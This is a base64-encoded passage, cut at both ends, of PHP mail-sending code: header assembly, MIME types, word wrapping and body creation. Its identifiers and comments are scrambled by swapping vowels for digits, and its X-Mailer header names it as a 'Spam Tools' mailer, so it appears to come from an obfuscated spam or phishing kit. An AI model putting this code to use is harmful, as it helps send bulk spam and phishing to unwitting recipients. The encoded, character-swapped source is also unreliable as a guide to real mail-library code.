CAgICAgICAgICAgICAgICAgJG01c3MxZzUgLj0gJGIzZiAuICRzMmZ0X2JyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGIzZiA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHdoNGw1IChzdHJsNW4oJHcycmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCRsNW5ndGggPD0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGw1biA9ICRsNW5ndGg7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDRzXzN0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDVuID0gJHRoNHMtPjN0ZjhDaDFyQjIzbmQxcnkoJHcycmQsICRsNW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYgKHMzYnN0cigkdzJyZCwgJGw1biAtIDYsIDYpID09ICc9Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmIChzM2JzdHIoJHcycmQsICRsNW4gLSBhLCA2KSA9PSAnPScpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDVuIC09IGE7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcDFydCA9IHMzYnN0cigkdzJyZCwgMCwgJGw1bik7DQogICAgICAgICAgICAgICAgICAgICAgICAkdzJyZCA9IHMzYnN0cigkdzJyZCwgJGw1bik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmIChzdHJsNW4oJHcycmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1IC49ICRwMXJ0IC4gc3ByNG50ZignPSVzJywgczVsZjo6Q1JMRik7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiM2YgPSAkcDFydDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRiM2ZfMiA9ICRiM2Y7DQogICAgICAgICAgICAgICAgICAgIDRmICghJGY0cnN0dzJyZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGIzZiAuPSAnICc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGIzZiAuPSAkdzJyZDsNCg0KICAgICAgICAgICAgICAgICAgICA0ZiAoc3RybDVuKCRiM2YpID4gJGw1bmd0aCAxbmQgJGIzZl8yICE9ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbTVzczFnNSAuPSAkYjNmXzIgLiAkczJmdF9icjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICRiM2YgPSAkdzJyZDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZjRyc3R3MnJkID0gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbTVzczFnNSAuPSAkYjNmIC4gczVsZjo6Q1JMRjsNCiAgICAgICAgfQ0KDQogICAgICAgIHI1dDNybiAkbTVzczFnNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGNG5kIHRoNSBsMXN0IGNoMXIxY3Q1ciBiMjNuZDFyeSBwcjQyciB0MiAkbTF4TDVuZ3RoIDRuIDEgM3RmLTgNCiAgICAgKiBxMzJ0NWQtcHI0bnQxYmw1IDVuYzJkNWQgc3RyNG5nLg0KICAgICAqIE9yNGc0bjFsIHdyNHR0NW4gYnkgQzJsNG4gQnIyd24uDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1bmMyZDVkVDV4dCAzdGYtOCBRUCB0NXh0DQogICAgICogQHAxcjFtIDRudDVnNXIgJG0xeEw1bmd0aCBGNG5kIHRoNSBsMXN0IGNoMXIxY3Q1ciBiMjNuZDFyeSBwcjQyciB0MiB0aDRzIGw1bmd0aA0KICAgICAqIEByNXQzcm4gNG50NWc1cg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAzdGY4Q2gxckIyM25kMXJ5KCQ1bmMyZDVkVDV4dCwgJG0xeEw1bmd0aCkNCiAgICB7DQogICAgICAgICRmMjNuZFNwbDR0UDJzID0gZjFsczU7DQogICAgICAgICRsMjJrQjFjayA9IG87DQogICAgICAgIHdoNGw1ICghJGYyM25kU3BsNHRQMnMpIHsNCiAgICAgICAgICAgICRsMXN0Q2gzbmsgPSBzM2JzdHIoJDVuYzJkNWRUNXh0LCAkbTF4TDVuZ3RoIC0gJGwyMmtCMWNrLCAkbDIya0IxY2spOw0KICAgICAgICAgICAgJDVuYzJkNWRDaDFyUDJzID0gc3RycDJzKCRsMXN0Q2gzbmssICc9Jyk7DQogICAgICAgICAgICA0ZiAoZjFsczUgIT09ICQ1bmMyZDVkQ2gxclAycykgew0KICAgICAgICAgICAgICAgIC8vIEYyM25kIHN0MXJ0IDJmIDVuYzJkNWQgY2gxcjFjdDVyIGJ5dDUgdzR0aDRuICRsMjJrQjFjayBibDJjay4NCiAgICAgICAgICAgICAgICAvLyBDaDVjayB0aDUgNW5jMmQ1ZCBieXQ1IHYxbDM1ICh0aDUgYSBjaDFycyAxZnQ1ciB0aDUgJz0nKQ0KICAgICAgICAgICAgICAgICRoNXggPSBzM2JzdHIoJDVuYzJkNWRUNXh0LCAkbTF4TDVuZ3RoIC0gJGwyMmtCMWNrICsgJDVuYzJkNWRDaDFyUDJzICsgNiwgYSk7DQogICAgICAgICAgICAgICAgJGQ1YyA9IGg1eGQ1YygkaDV4KTsNCiAgICAgICAgICAgICAgICA0ZiAoJGQ1YyA8IDZhOCkgew0KICAgICAgICAgICAgICAgICAgICAvLyBTNG5nbDUgYnl0NSBjaDFyMWN0NXIuDQogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoNSA1bmMyZDVkIGNoMXIgdzFzIGYyM25kIDF0IHAycyAwLCA0dCB3NGxsIGY0dA0KICAgICAgICAgICAgICAgICAgICAvLyAydGg1cnc0czUgcjVkM2M1IG0xeEw1bmd0aCB0MiBzdDFydCAyZiB0aDUgNW5jMmQ1ZCBjaDFyDQogICAgICAgICAgICAgICAgICAgIDRmICgkNW5jMmQ1ZENoMXJQMnMgPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbTF4TDVuZ3RoID0gJG0xeEw1bmd0aCAtICgkbDIya0IxY2sgLSAkNW5jMmQ1ZENoMXJQMnMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRmMjNuZFNwbDR0UDJzID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZiAoJGQ1YyA+PSA2OWEpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gRjRyc3QgYnl0NSAyZiAxIG0zbHQ0IGJ5dDUgY2gxcjFjdDVyDQogICAgICAgICAgICAgICAgICAgIC8vIFI1ZDNjNSBtMXhMNW5ndGggdDIgc3BsNHQgMXQgc3QxcnQgMmYgY2gxcjFjdDVyDQogICAgICAgICAgICAgICAgICAgICRtMXhMNW5ndGggPSAkbTF4TDVuZ3RoIC0gKCRsMjJrQjFjayAtICQ1bmMyZDVkQ2gxclAycyk7DQogICAgICAgICAgICAgICAgICAgICRmMjNuZFNwbDR0UDJzID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZiAoJGQ1YyA8IDY5YSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBNNGRkbDUgYnl0NSAyZiAxIG0zbHQ0IGJ5dDUgY2gxcjFjdDVyLCBsMjJrIGYzcnRoNXIgYjFjaw0KICAgICAgICAgICAgICAgICAgICAkbDIya0IxY2sgKz0gbzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgIC8vIE4yIDVuYzJkNWQgY2gxcjFjdDVyIGYyM25kDQogICAgICAgICAgICAgICAgJGYyM25kU3BsNHRQMnMgPSB0cjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkbTF4TDVuZ3RoOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFwcGx5IHcycmQgd3IxcHA0bmcgdDIgdGg1IG01c3MxZzUgYjJkeS4NCiAgICAgKiBXcjFwcyB0aDUgbTVzczFnNSBiMmR5IHQyIHRoNSBuM21iNXIgMmYgY2gxcnMgczV0IDRuIHRoNSBXMnJkV3IxcCBwcjJwNXJ0eS4NCiAgICAgKiBZMjMgc2gyM2xkIDJubHkgZDIgdGg0cyB0MiBwbDE0bi10NXh0IGIyZDQ1cyAxcyB3cjFwcDRuZyBIVE1MIHQxZ3MgbTF5IGJyNTFrIHRoNW0uDQogICAgICogVGg0cyA0cyBjMWxsNWQgMTN0Mm0xdDRjMWxseSBieSBjcjUxdDVCMmR5KCksIHMyIHkyMyBkMm4ndCBuNTVkIHQyIGMxbGwgNHQgeTIzcnM1bGYuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0VzJyZFdyMXAoKQ0KICAgIHsNCiAgICAgICAgNGYgKCR0aDRzLT5XMnJkV3IxcCA8IDYpIHsNCiAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHN3NHRjaCAoJHRoNHMtPm01c3MxZzVfdHlwNSkgew0KICAgICAgICAgICAgYzFzNSAnMWx0JzoNCiAgICAgICAgICAgIGMxczUgJzFsdF80bmw0bjUnOg0KICAgICAgICAgICAgYzFzNSAnMWx0XzF0dDFjaCc6DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41XzF0dDFjaCc6DQogICAgICAgICAgICAgICAgJHRoNHMtPkFsdEIyZHkgPSAkdGg0cy0+d3IxcFQ1eHQoJHRoNHMtPkFsdEIyZHksICR0aDRzLT5XMnJkV3IxcCk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICR0aDRzLT5CMmR5ID0gJHRoNHMtPndyMXBUNXh0KCR0aDRzLT5CMmR5LCAkdGg0cy0+VzJyZFdyMXApOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQXNzNW1ibDUgbTVzczFnNSBoNTFkNXJzLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcgVGg1IDFzczVtYmw1ZCBoNTFkNXJzDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNyNTF0NUg1MWQ1cigpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQoNCiAgICAgICAgNGYgKCR0aDRzLT5NNXNzMWc1RDF0NSA9PSAnJykgew0KICAgICAgICAgICAgJHRoNHMtPk01c3MxZzVEMXQ1ID0gczVsZjo6cmZjRDF0NSgpOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0QxdDUnLCAkdGg0cy0+TTVzczFnNUQxdDUpOw0KDQogICAgICAgIC8vIFQyIGI1IGNyNTF0NWQgMTN0Mm0xdDRjMWxseSBieSBtMTRsKCkNCiAgICAgICAgNGYgKCR0aDRzLT5TNG5nbDVUMikgew0KICAgICAgICAgICAgNGYgKCR0aDRzLT5NMTRsNXIgIT0gJ20xNGwnKSB7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJHRoNHMtPnQyIDFzICR0MjFkZHIpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlM0bmdsNVQyQXJyMXlbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCR0MjFkZHIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIDRmIChjMjNudCgkdGg0cy0+dDIpID4gMCkgew0KICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT4xZGRyQXBwNW5kKCdUMicsICR0aDRzLT50Mik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSA1bHM1NGYgKGMyM250KCR0aDRzLT5jYykgPT0gMCkgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ1QyJywgJzNuZDRzY2wyczVkLXI1YzRwNDVudHM6OycpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+MWRkckFwcDVuZCgnRnIybScsIDFycjF5KDFycjF5KHRyNG0oJHRoNHMtPkZyMm0pLCAkdGg0cy0+RnIybU4xbTUpKSk7DQoNCiAgICAgICAgLy8gczVuZG0xNGwgMW5kIG0xNGwoKSA1eHRyMWN0IENjIGZyMm0gdGg1IGg1MWQ1ciBiNWYycjUgczVuZDRuZw0KICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPmNjKSA+IDApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ0NjJywgJHRoNHMtPmNjKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIHM1bmRtMTRsIDFuZCBtMTRsKCkgNXh0cjFjdCBCY2MgZnIybSB0aDUgaDUxZDVyIGI1ZjJyNSBzNW5kNG5nDQogICAgICAgIDRmICgoDQogICAgICAgICAgICAgICAgJHRoNHMtPk0xNGw1ciA9PSAnczVuZG0xNGwnIDJyICR0aDRzLT5NMTRsNXIgPT0gJ3FtMTRsJyAyciAkdGg0cy0+TTE0bDVyID09ICdtMTRsJw0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgMW5kIGMyM250KCR0aDRzLT5iY2MpID4gMA0KICAgICAgICApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ0JjYycsICR0aDRzLT5iY2MpOw0KICAgICAgICB9DQoNCiAgICAgICAgNGYgKGMyM250KCR0aDRzLT5SNXBseVQyKSA+IDApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ1I1cGx5LVQyJywgJHRoNHMtPlI1cGx5VDIpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gbTE0bCgpIHM1dHMgdGg1IHMzYmo1Y3QgNHRzNWxmDQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnUzNiajVjdCcsICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkdGg0cy0+UzNiajVjdCkpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+TTVzczFnNUlEICE9ICcnKSB7DQogICAgICAgICAgICAkdGg0cy0+bDFzdE01c3MxZzVJRCA9ICR0aDRzLT5NNXNzMWc1SUQ7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkdGg0cy0+bDFzdE01c3MxZzVJRCA9IHNwcjRudGYoJzwlc0Alcz4nLCAkdGg0cy0+M240cTM1NGQsICR0aDRzLT5zNXJ2NXJIMnN0bjFtNSgpKTsNCiAgICAgICAgfQ0KICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdNNXNzMWc1LUlEJywgJHRoNHMtPmwxc3RNNXNzMWc1SUQpOw0KICAgICAgICA0ZiAoITRzX24zbGwoJHRoNHMtPlByNDJyNHR5KSkgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnWC1QcjQycjR0eScsICR0aDRzLT5QcjQycjR0eSk7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT5YTTE0bDVyID09ICcnKSB7DQogICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KA0KICAgICAgICAgICAgICAgICdYLU0xNGw1cicsDQogICAgICAgICAgICAgICAgJ1BIUCBNMTRsNXIgLSBTcDFtIFQyMmxzIG8uMCcNCiAgICAgICAgICAgICk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkbXlYbTE0bDVyID0gdHI0bSgkdGg0cy0+WE0xNGw1cik7DQogICAgICAgICAgICA0ZiAoJG15WG0xNGw1cikgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ1gtTTE0bDVyJywgJG15WG0xNGw1cik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICA0ZiAoJHRoNHMtPkMybmY0cm1SNTFkNG5nVDIgIT0gJycpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0Q0c3AyczR0NDJuLU4ydDRmNGMxdDQybi1UMicsICc8JyAuICR0aDRzLT5DMm5mNHJtUjUxZDRuZ1QyIC4gJz4nKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFkZCBjM3N0Mm0gaDUxZDVycw0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+QzNzdDJtSDUxZDVyIDFzICRoNTFkNXIpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoDQogICAgICAgICAgICAgICAgdHI0bSgkaDUxZDVyWzBdKSwNCiAgICAgICAgICAgICAgICAkdGg0cy0+NW5jMmQ1SDUxZDVyKHRyNG0oJGg1MWQ1cls2XSkpDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgICAgIDRmICghJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ01JTUUtVjVyczQybicsICc2LjAnKTsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmc1dE0xNGxNSU1FKCk7DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNXQgdGg1IG01c3MxZzUgTUlNRSB0eXA1IGg1MWQ1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRNMTRsTUlNRSgpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQogICAgICAgICQ0c20zbHQ0cDFydCA9IHRyMzU7DQogICAgICAgIHN3NHRjaCAoJHRoNHMtPm01c3MxZzVfdHlwNSkgew0KICAgICAgICAgICAgYzFzNSAnNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0L3I1bDF0NWQ7Jyk7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5WzZdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzF0dDFjaCc6DQogICAgICAgICAgICBjMXM1ICc0bmw0bjVfMXR0MWNoJzoNCiAgICAgICAgICAgIGMxczUgJzFsdF8xdHQxY2gnOg0KICAgICAgICAgICAgYzFzNSAnMWx0XzRubDRuNV8xdHQxY2gnOg0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvbTR4NWQ7Jyk7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5WzZdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzFsdCc6DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1OycpOw0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVs2XSAuICciJyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIC8vIEMxdGNoNXMgYzFzNSAncGwxNG4nOiAxbmQgYzFzNSAnJzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT50NXh0TDRuNSgnQzJudDVudC1UeXA1OiAnIC4gJHRoNHMtPkMybnQ1bnRUeXA1IC4gJzsgY2gxcnM1dD0nIC4gJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAgICAgICAgICQ0c20zbHQ0cDFydCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIC8vIFJGQzZvdTYgcDFydCBpIHMxeXMgN2I0dCA0cyAxc3MzbTVkIDRmIG4ydCBzcDVjNGY0NWQNCiAgICAgICAgNGYgKCR0aDRzLT5FbmMyZDRuZyAhPSAnN2I0dCcpIHsNCiAgICAgICAgICAgIC8vIFJGQyBhMHVpIHM1Y3Q0Mm4gZS51IHMxeXMgbTNsdDRwMXJ0IE1JTUUgcDFydHMgbTF5IDJubHkgM3M1IDdiNHQsIDhiNHQgMnIgYjRuMXJ5IENURQ0KICAgICAgICAgICAgNGYgKCQ0c20zbHQ0cDFydCkgew0KICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+RW5jMmQ0bmcgPT0gJzhiNHQnKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmcnLCAnOGI0dCcpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBUaDUgMm5seSByNW0xNG40bmcgMWx0NXJuMXQ0djVzIDFyNSBxMzJ0NWQtcHI0bnQxYmw1IDFuZCBiMXM1ZXUsIHdoNGNoIDFyNSBiMnRoIDdiNHQgYzJtcDF0NGJsNQ0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nJywgJHRoNHMtPkVuYzJkNG5nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+TEU7DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm5zIHRoNSB3aDJsNSBNSU1FIG01c3MxZzUuDQogICAgICogSW5jbDNkNXMgYzJtcGw1dDUgaDUxZDVycyAxbmQgYjJkeS4NCiAgICAgKiBPbmx5IHYxbDRkIHAyc3QgcHI1UzVuZCgpLg0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjpwcjVTNW5kKCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1bnRNSU1FTTVzczFnNSgpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPk1JTUVINTFkNXIgLiAkdGg0cy0+bTE0bEg1MWQ1ciAuIHM1bGY6OkNSTEYgLiAkdGg0cy0+TUlNRUIyZHk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQXNzNW1ibDUgdGg1IG01c3MxZzUgYjJkeS4NCiAgICAgKiBSNXQzcm5zIDFuIDVtcHR5IHN0cjRuZyAybiBmMTRsM3I1Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIHN0cjRuZyBUaDUgMXNzNW1ibDVkIG01c3MxZzUgYjJkeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjcjUxdDVCMmR5KCkNCiAgICB7DQogICAgICAgICRiMmR5ID0gJyc7DQogICAgICAgIC8vQ3I1MXQ1IDNuNHEzNSBJRHMgMW5kIHByNXM1dCBiMjNuZDFyNDVzDQogICAgICAgICR0aDRzLT4zbjRxMzU0ZCA9IG1kaSgzbjRxNGQodDRtNSgpKSk7DQogICAgICAgICR0aDRzLT5iMjNuZDFyeVs2XSA9ICdiNl8nIC4gJHRoNHMtPjNuNHEzNTRkOw0KICAgICAgICAkdGg0cy0+YjIzbmQxcnlbYV0gPSAnYmFfJyAuICR0aDRzLT4zbjRxMzU0ZDsNCiAgICAgICAgJHRoNHMtPmIyM25kMXJ5W29dID0gJ2JvXycgLiAkdGg0cy0+M240cTM1NGQ7DQoNCiAgICAgICAgNGYgKCR0aDRzLT5zNGduX2s1eV9mNGw1KSB7DQogICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0TTE0bE1JTUUoKSAuICR0aDRzLT5MRTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aDRzLT5zNXRXMnJkV3IxcCgpOw0KDQogICAgICAgICRiMmR5RW5jMmQ0bmcgPSAkdGg0cy0+RW5jMmQ0bmc7DQogICAgICAgICRiMmR5Q2gxclM1dCA9ICR0aDRzLT5DaDFyUzV0Ow0KICAgICAgICAvL0MxbiB3NSBkMiAxIDctYjR0IGQyd25ncjFkNT8NCiAgICAgICAgNGYgKCRiMmR5RW5jMmQ0bmcgPT0gJzhiNHQnIDFuZCAhJHRoNHMtPmgxczhiNHRDaDFycygkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICRiMmR5RW5jMmQ0bmcgPSAnN2I0dCc7DQogICAgICAgICAgICAkYjJkeUNoMXJTNXQgPSAnM3MtMXNjNDQnOw0KICAgICAgICB9DQogICAgICAgIC8vSWYgbDRuNXMgMXI1IHQyMiBsMm5nLCAxbmQgdzUncjUgbjJ0IDFscjUxZHkgM3M0bmcgMW4gNW5jMmQ0bmcgdGgxdCB3NGxsIHNoMnJ0NW4gdGg1bSwNCiAgICAgICAgLy9jaDFuZzUgdDIgcTMydDVkLXByNG50MWJsNSB0cjFuc2Y1ciA1bmMyZDRuZw0KICAgICAgICA0ZiAoJ2IxczVldScgIT0gJHRoNHMtPkVuYzJkNG5nIDFuZCBzNWxmOjpoMXNMNG41TDJuZzVyVGgxbk0xeCgkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICR0aDRzLT5FbmMyZDRuZyA9ICdxMzJ0NWQtcHI0bnQxYmw1JzsNCiAgICAgICAgICAgICRiMmR5RW5jMmQ0bmcgPSAncTMydDVkLXByNG50MWJsNSc7DQogICAgICAgIH0NCg0KICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJHRoNHMtPkVuYzJkNG5nOw0KICAgICAgICAkMWx0QjJkeUNoMXJTNXQgPSAkdGg0cy0+Q2gxclM1dDsNCiAgICAgICAgLy9DMW4gdzUgZDIgMSA3LWI0dCBkMnduZ3IxZDU/DQogICAgICAgIDRmICgkMWx0QjJkeUVuYzJkNG5nID09ICc4YjR0JyAxbmQgISR0aDRzLT5oMXM4YjR0Q2gxcnMoJHRoNHMtPkFsdEIyZHkpKSB7DQogICAgICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJzdiNHQnOw0KICAgICAgICAgICAgJDFsdEIyZHlDaDFyUzV0ID0gJzNzLTFzYzQ0JzsNCiAgICAgICAgfQ0KICAgICAgICAvL0lmIGw0bjVzIDFyNSB0MjIgbDJuZywgMW5kIHc1J3I1IG4ydCAxbHI1MWR5IDNzNG5nIDFuIDVuYzJkNG5nIHRoMXQgdzRsbCBzaDJydDVuIHRoNW0sDQogICAgICAgIC8vY2gxbmc1IHQyIHEzMnQ1ZC1wcjRudDFibDUgdHIxbnNmNXIgNW5jMmQ0bmcNCiAgICAgICAgNGYgKCdiMXM1ZXUnICE9ICQxbHRCMmR5RW5jMmQ0bmcgMW5kIHM1bGY6Omgxc0w0bjVMMm5nNXJUaDFuTTF4KCR0aDRzLT5BbHRCMmR5KSkgew0KICAgICAgICAgICAgJDFsdEIyZHlFbmMyZDRuZyA9ICdxMzJ0NWQtcHI0bnQxYmw1JzsNCiAgICAgICAgf